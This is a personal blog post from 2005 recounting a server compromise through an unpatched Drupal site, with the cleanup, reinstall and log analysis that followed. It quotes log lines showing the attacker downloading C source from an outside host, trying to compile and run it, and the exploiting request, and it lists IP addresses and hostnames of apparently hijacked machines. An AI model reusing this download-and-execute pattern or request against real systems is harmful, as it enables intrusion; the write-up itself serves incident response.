As mentioned shortly yesterday, the server that runs this homepage and that I share with a few friends was compromised. Yesterday at around 13:20, Christian discovered a high load on the machine and a dubious process called "a". Running chkrootkit confirmed the existence of rootkits and the manipulation of system tools like pstree. (Read on for the whole story)

We communicated using gaim and after I looked at the checksums of various files (using debsums) and the unability to restore them, it was clear we had to reinstall. I ran my usual backup-script which includes /etc and this revealed that the cracker also had bluntly created a new account to be able to log in again. I keep all the backups in a version control system (subversion) so it was easy to confirm that the intrusion was after the latest backup and therefore was discovered freshly.

The first steps were of course to save the logs for further analysis later on, and to backup user data that were not included in my backup-script. After we were pretty sure we had nothing more to lose on that machine, Christian contacted our hosting company Hetzner to wipe the system and install a new minimal image of Debian 3.1/Sarge (we still ran on Woody before that). In addition, they activated their "Rescue System" for our server, which means that we can log into their web-site and click "boot from a mini-linux-image over the network the next time". This will prove to be very practical in the future if it works as they say.

Hetzner reacted quickly and soon after, we had a new and fresh system running. The rest of the afternoon was used up to get the most important things running again and we left the exact analysis of how the culprit got in to the next day. I had hoped the hole would have been closed with the major upgrade of the system, but this seemed not to be the case. This morning I realised that the server was busy running a process called localok as the user of the webserver. Not knowing much about exploits but having the clue about the webserver, I switched it off and looked at the error logs. It did not take long before I found lines like these:
--19:48:33-- http://www.praatwijzer.nl/backup/bd.c
=> `bd.c'
Resolving www.praatwijzer.nl... 82.192.68.30
Connecting to www.praatwijzer.nl[82.192.68.30]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5,047 [text/plain]
0K .... 100% 428.03 KB/s
19:48:33 (428.03 KB/s) - `bd.c' saved [5047/5047]
sh: line 1: gcc: command not found
chmod: cannot access `a': No such file or directory
sh: line 1: ./a: No such file or directory

This shows nicely how it was done. Using some error in an application that runs on our webserver he was able to download files to our machine and was trying to compile them. This did not succeed because no compiler was installed. Then he tried to execute the created binary "a". Obviously he had succeeded the day before (see above). I found his downloaded files in /tmp and moved them away. Among them was also a perl-script called cbs.pl that seems to open a backdoor shell account. To do that, it must open a new port which our firewall should have prevented.

The webser still disabled, it was time to find out which of the websites was the culprit. Around the same time as above it was easy to find these entries in the access.log:
85.98.26.20 - - [06/Jul/2005:19:48:30 +0200] "GET /?q=comment/reply/17 HTTP/1.1" 200 27255 "-" "Morzilla/5.0 (THIS IS AN EXPLOIT. IDS, PLZ, Gr4b ME!!!"
Now I knew... it was my own homepage. :-(
Checking Drupal.org showed that indeed there is a new version for the content-management-system that fixes security holes. So, now I have upgraded, and we'll see what happens next.

Right now (around 2 o'clock) he tries again but does not seem to succeed. I somehow have the impression thar this is just a stupid script-kiddy that uses some automated attack-software that it found somewhere on the web.

Finally I list the IP-adresses and names of the machines that were involved. Supposedly most (if not all) of them are other cracked machines:

195.174.225.35
203.51.55.171 CPE-203-51-55-171.nsw.bigpond.net.au
207.157.122.244 nat244.usouthal.edu
211.108.157.109
213.133.100.68 tischfussball.at
217.172.187.187 neapel187.server4you.de
217.20.116.51 powerlinux.org
24.15.125.186 c-24-15-125-186.hsd1.il.comcast.net
24.5.179.77 c-24-5-179-77.hsd1.ca.comcast.net
65.118.243.76
65.150.20.169 0-1pool20-169.nas7.houston4.tx.us.da.qwest.net
81.192.31.82 adsl-82-31-192-81.adsl.iam.net.ma
84.222.95.38 host-84-222-95-38.cust-adsl.tiscali.it
84.222.95.57 host-84-222-95-57.cust-adsl.tiscali.it
85.124.32.107 85-124-32-107.dynamic.xdsl-line.inode.at
85.98.26.20 dsl.dynamic85982620.ttnet.net.tr